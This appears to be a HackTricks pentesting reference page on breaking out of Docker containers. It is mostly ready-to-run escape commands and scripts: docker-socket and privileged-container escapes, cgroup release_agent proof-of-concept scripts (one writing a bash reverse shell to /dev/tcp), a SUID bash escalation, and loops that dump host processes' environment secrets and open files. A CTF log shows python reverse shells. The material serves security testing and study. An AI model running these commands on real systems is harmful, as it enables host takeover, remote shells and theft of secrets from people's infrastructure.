Docker Breakout / Privilege Escalation

Support HackTricks and get benefits!
​
​
Through Security Skills as a Service, we help organizations to defend against the Dark Hacking Arts. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering high-quality penetration testing results. Security Hubs bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a complete assessment of any risks.
Security Skills as a Service | Security Hubs
Automatic Enumeration & Escape
​linpeas: It can also enumerate containers
​CDK: This tool is pretty useful to enumerate the container you are into even try to escape automatically
​amicontained: Useful tool to get the privileges the container has in order to find ways to escape from it
​deepce: Tool to enumerate and escape from containers
​grype: Get the CVEs contained in the software installed in the image
Mounted Docker Socket Escape
If somehow you find that the docker socket is mounted inside the docker container, you will be able to escape from it.
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
1
#Search the socket
2
find / -name docker.sock 2>/dev/null
3
#It's usually in /run/docker.sock
Copied!
In this case you can use regular docker commands to communicate with the docker daemon:
1
#List images to use one
2
docker images
3
#Run the image mounting the host disk and chroot on it
4
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
5
​
6
# Get full access to the host via ns pid and nsenter cli
7
docker run -it --rm --pid=host --privileged ubuntu bash
8
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
9
​
10
# Get full privs in container without --privileged
11
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
Copied!
In case the docker socket is in an unexpected place you can still communicate with it using the docker command with the parameter -H unix:///path/to/docker.sock
Docker daemon might be also listening in a port (by default 2375, 2376) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket fd://.
Additionally, pay attention to the runtime sockets of other high-level runtimes:
dockershim: unix:///var/run/dockershim.sock
containerd: unix:///run/containerd/containerd.sock
cri-o: unix:///var/run/crio/crio.sock
frakti: unix:///var/run/frakti.sock
rktlet: unix:///var/run/rktlet.sock
...
Capabilities Abuse Escape
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN
You can check currently container capabilities using previously mentioned automatic tools or:
1
capsh --print
Copied!
In the following page you can learn more about linux capabilities and how to abuse them to escape/escalate privileges:
Linux Capabilities
Escape from Privileged Containers
A privileged container can be created with the flag --privileged or disabling specific defenses:
--cap-add=ALL
--security-opt apparmor=unconfined
--security-opt seccomp=unconfined
--security-opt label:disable
--pid=host
--userns=host
--uts=host
--cgroupns=host
The --privileged flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can read all the effects of --privileged in this page:
Docker --privileged
Privileged + hostPID
With these permissions you can just move to the namespace of a process running in the host as root like init (pid:1) just running: nsenter --target 1 --mount --uts --ipc --net --pid -- bash
Test it in a container executing:
1
docker run --rm -it --pid=host --privileged ubuntu bash
Copied!
Privileged
Just with the privileged flag you can try to access the host's disk or try to escape abusing release_agent or other escapes.
Test the following bypasses in a container executing:
1
docker run --rm -it --privileged ubuntu bash
Copied!
Mounting Disk - Poc1
Well configured docker containers won't allow command like fdisk -l. However on miss-configured docker command where the flag --privileged or --device=/dev/sda1 with caps is specified, it is possible to get the privileges to see the host drive.
So to take over the host machine, it is trivial:
1
mkdir -p /mnt/hola
2
mount /dev/sda1 /mnt/hola
Copied!
And voilà ! You can now access the filesystem of the host because it is mounted in the /mnt/hola folder.
Mounting Disk - Poc2
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
1
### Check if You Can Write to a File-system
2
echo 1 > /proc/sysrq-trigger
3
​
4
### Check root UUID
5
cat /proc/cmdline
6
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
7
​
8
# Check Underlying Host Filesystem
9
findfs UUID=<UUID Value>
10
/dev/sda1
11
​
12
# Attempt to Mount the Host's Filesystem
13
mkdir /mnt-test
14
mount /dev/sda1 /mnt-test
15
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
16
​
17
### debugfs (Interactive File System Debugger)
18
debugfs /dev/sda1
Copied!
Privileged Escape Abusing release_agent - PoC1
Initial PoC
1
# spawn a new container to exploit via:
2
# docker run --rm -it --privileged ubuntu bash
3
​
4
# Finds + enables a cgroup release_agent
5
# Looks for something like: /sys/fs/cgroup/*/release_agent
6
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
7
# If "d" is empty, this won't work, you need to use the next PoC
8
​
9
# Enables notify_on_release in the cgroup
10
mkdir -p $d/w;
11
echo 1 >$d/w/notify_on_release
12
# If you have a "Read-only file system" error, you need to use the next PoC
13
​
14
# Finds path of OverlayFS mount for container
15
# Unless the configuration explicitly exposes the mount point of the host filesystem
16
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
17
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
18
​
19
# Sets release_agent to /path/payload
20
touch /o; echo $t/c > $d/release_agent
21
​
22
# Creates a payload
23
echo "#!/bin/sh" > /c
24
echo "ps > $t/o" >> /c
25
chmod +x /c
26
​
27
# Triggers the cgroup via empty cgroup.procs
28
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
29
​
30
# Reads the output
31
cat /o
Copied!
Privileged Escape Abusing release_agent - PoC2
Second PoC
1
# On the host
2
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
3
​
4
# Mounts the RDMA cgroup controller and create a child cgroup
5
# This technique should work with the majority of cgroup controllers
6
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
7
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
8
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
9
# If mount gives an error, this won't work, you need to use the first PoC
10
​
11
# Enables cgroup notifications on release of the "x" cgroup
12
echo 1 > /tmp/cgrp/x/notify_on_release
13
​
14
# Finds path of OverlayFS mount for container
15
# Unless the configuration explicitly exposes the mount point of the host filesystem
16
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
17
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
18
​
19
# Sets release_agent to /path/payload
20
echo "$host_path/cmd" > /tmp/cgrp/release_agent
21
​
22
#For a normal PoC =================
23
echo '#!/bin/sh' > /cmd
24
echo "ps aux > $host_path/output" >> /cmd
25
chmod a+x /cmd
26
#===================================
27
#Reverse shell
28
echo '#!/bin/bash' > /cmd
29
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
30
chmod a+x /cmd
31
#===================================
32
​
33
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
34
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
35
# The script on the host will execute after /bin/sh exits 
36
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
37
​
38
# Reads the output
39
cat /output
Copied!
Find an explanation of the technique in:
Docker release_agent cgroups escape
Privileged Escape Abusing release_agent without known the relative path - PoC3
In the previous exploits the absolute path of the continer inside the hosts filesystem is disclosed. However, this isn’t always the case. In cases where you don’t know the absolute path of the continer inside the host you can use this technique:
release_agent exploit - Relative Paths to PIDs
1
#!/bin/sh
2
​
3
OUTPUT_DIR="/"
4
MAX_PID=65535
5
CGROUP_NAME="xyx"
6
CGROUP_MOUNT="/tmp/cgrp"
7
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
8
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
9
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
10
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
11
​
12
# Run a process for which we can search for (not needed in reality, but nice to have)
13
sleep 10000 &
14
​
15
# Prepare the payload script to execute on the host
16
cat > ${PAYLOAD_PATH} << __EOF__
17
#!/bin/sh
18
​
19
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
20
​
21
# Commands to run on the host<
22
ps -eaf > \${OUTPATH} 2>&1
23
__EOF__
24
​
25
# Make the payload script executable
26
chmod a+x ${PAYLOAD_PATH}
27
​
28
# Set up the cgroup mount using the memory resource cgroup controller
29
mkdir ${CGROUP_MOUNT}
30
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
31
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
32
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
33
​
34
# Brute force the host pid until the output path is created, or we run out of guesses
35
TPID=1
36
while [ ! -f ${OUTPUT_PATH} ]
37
do
38
  if [ $((${TPID} % 100)) -eq 0 ]
39
  then
40
    echo "Checking pid ${TPID}"
41
    if [ ${TPID} -gt ${MAX_PID} ]
42
    then
43
      echo "Exiting at ${MAX_PID} :-("
44
      exit 1
45
    fi
46
  fi
47
  # Set the release_agent path to the guessed pid
48
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
49
  # Trigger execution of the release_agent
50
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
51
  TPID=$((${TPID} + 1))
52
done
53
​
54
# Wait for and cat the output
55
sleep 1
56
echo "Done! Output:"
57
cat ${OUTPUT_PATH}
Copied!
Executing the PoC within a privileged container should provide output similar to:
1
[email protected]:~$ ./release_agent_pid_brute.sh
2
Checking pid 100
3
Checking pid 200
4
Checking pid 300
5
Checking pid 400
6
Checking pid 500
7
Checking pid 600
8
Checking pid 700
9
Checking pid 800
10
Checking pid 900
11
Checking pid 1000
12
Checking pid 1100
13
Checking pid 1200
14
​
15
Done! Output:
16
UID        PID  PPID  C STIME TTY          TIME CMD
17
root         1     0  0 11:25 ?        00:00:01 /sbin/init
18
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
19
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
20
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
21
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
22
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
23
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
24
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
25
...
Copied!
Privileged Escape Abusing Sensitive Mounts
There are several files that might mounted that give information about the underlaying host. Some of them may even indicate something to be executed by the host when something happens (which will allow a attacker to escape from the container).
The abuse of these files may allow that:
release_agent (already covered before)
​binfmt_misc​
​core_pattern​
​uevent_helper​
​modprobe​
However, you can find other sensitive files to check for in this page:
Sensitive Mounts
Arbitrary Mounts
In several occasions you will find that the container has some volume mounted from the host. If this volume wasn’t correctly configured you might be able to access/modify sensitive data: Read secrets, change ssh authorized_keys…
1
docker run --rm -it -v /:/host ubuntu bash
Copied!
Privilege Escalation with 2 shells and host mount
If you have access as root inside a container that has some folder from the host mounted and you have escaped as a non privileged user to the host and have read access over the mounted folder.
You can create a bash suid file in the mounted folder inside the container and execute it from the host to privesc.
1
cp /bin/bash . #From non priv inside mounted folder
2
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
3
chown root:root bash #From container as root inside mounted folder
4
chmod 4777 bash #From container as root inside mounted folder
5
bash -p #From non priv inside mounted folder
Copied!
Privilege Escalation with 2 shells
If you have access as root inside a container and you have escaped as a non privileged user to the host, you can abuse both shells to privesc inside the host if you have the capability MKNOD inside the container (it's by default) as explained in this post.
With such capability the root user within the container is allowed to create block device files. Device files are special files that are used to access underlying hardware & kernel modules. For example, the /dev/sda block device file gives access to read the raw data on the systems disk.
Docker ensures that block devices cannot be abused from within the container by setting a cgroup policy on the container that blocks read and write of block devices.
However, if a block device is created within the container it can be accessed through the /proc/PID/root/ folder by someone outside the container, the limitation being that the process must be owned by the same user outside and inside the container.
Exploitation example from this writeup:
1
# On the container as root
2
cd /
3
# Crate device
4
mknod sda b 8 0
5
# Give access to it
6
chmod 777 sda
7
​
8
# Create the nonepriv user of the host inside the container
9
## In this case it's called augustus
10
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
11
# Get a shell as augustus
12
su augustus
13
su: Authentication failure
14
(Ignored)
15
[email protected]:/backend$ /bin/sh
16
/bin/sh
17
$ 
Copied!
1
[email protected]:~$ ps -auxf | grep /bin/sh
2
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
3
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
4
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
5
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh
6
# The process ID is 1659 in this case
7
# Grep for the sda for HTB{ through the process:
8
[email protected]:~$ grep -a 'HTB{' /proc/1659/root/sda 
9
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
Copied!
hostPID
If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:
1
docker run --rm -it --pid=host ubuntu bash
Copied!
For example, you will be able to list the processes using something like ps auxn and search for sensitive details in the commands.
Then, as you can access each process of the host in /proc/ you can just steal their env secrets running:
1
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
2
/proc/988058/environ
3
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
4
HOSTNAME=argocd-server-69678b4f65-6mmql
5
USER=abrgocd
6
...
Copied!
You can also access other processes file descriptors and read their open files:
1
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
2
less fds.txt
3
...omitted for brevity...
4
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
5
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
6
# You can open the secret filw with:
7
cat /proc/635813/fd/4
Copied!
You can also kill processes and cause a DoS.
If you somehow has privileged access over a process outside of the container, you could run something like nsenter --target <pid> --all or nsenter --target <pid> --mount --net --pid --cgroup to run a shell with the same ns restrictions (hopefully none) as that process.
hostNetwork
1
docker run --rm -it --network=host ubuntu bash
Copied!
If a container was configured with the Docker host networking driver (--network=host), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the container binds all services directly to the host's IP. Furthermore the container can intercept ALL network traffic that the host is sending and receiving on shared interface tcpdump -i eth0.
For instance, you can use this to sniff and even spoof traffic between host and metadata instance.
Like in the following examples:
​Writeup: How to contact Google SRE: Dropping a shell in cloud SQL​
​Metadata service MITM allows root privilege escalation (EKS / GKE)​
You will be able also to access network services binded to localhost inside the host or even access the metadata permissions of the node (which might be different those a container can access):
Kubernetes Access to other Clouds
hostIPC
1
docker run --rm -it --ipc=host ubuntu bash
Copied!
If you only have hostIPC=true, you most likely can't do much. If any process on the host or any processes within another pod is using the host’s inter-process communication mechanisms (shared memory, semaphore arrays, message queues, etc.), you'll be able to read/write to those same mechanisms. The first place you'll want to look is /dev/shm, as it is shared between any pod with hostIPC=true and the host. You'll also want to check out the other IPC mechanisms with ipcs.
Inspect /dev/shm - Look for any files in this shared memory location: ls -la /dev/shm
Inspect existing IPC facilities – You can check to see if any IPC facilities are being used with /usr/bin/ipcs. Check it with: ipcs -a
User namespace abuse via symlink
The second technique explained in the post https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
​
​
​
​
Through Security Skills as a Service, we help organizations to defend against the Dark Hacking Arts. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering high-quality penetration testing results. Security Hubs bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a complete assessment of any risks.
Security Skills as a Service | Security Hubs
CVEs
Runc exploit (CVE-2019-5736)
In case you can execute docker exec as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit here). This technique will basically overwrite the /bin/sh binary of the host from a container, so anyone executing docker exec may trigger the payload.
Change the payload accordingly and build the main.go with go build main.go. The resulting binary should be placed in the docker container for execution.
Upon execution, as soon as it displays [+] Overwritten /bin/sh successfully you need to execute the following from the host machine:
docker exec -it <container-name> /bin/sh
This will trigger the payload which is present in the main.go file.
For more information: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html​
There are other CVEs the container can be vulnerable too, you can find a list in https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list​
Breakout Templates
Container Breakout through Usermode helper Template
If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
Find the path of the containers filesystem inside the host
You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit
Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens
You should be able to execute the trigger from inside the host
You need to know where the containers files are located inside the host to indicate a script you write inside the host
Have enough capabilities and disabled protections to be able to abuse that functionality
You might need to mount things o perform special privileged actions you cannot do in a default docker container
References
​https://twitter.com/_fel1x/status/1151487053370187776?lang=en-GB​
​https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/​
​https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html​
​https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d​
​https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver​
​https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket​
​https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4​
​
​
Through Security Skills as a Service, we help organizations to defend against the Dark Hacking Arts. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering high-quality penetration testing results. Security Hubs bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a complete assessment of any risks.
Security Skills as a Service | Security Hubs
Support HackTricks and get benefits!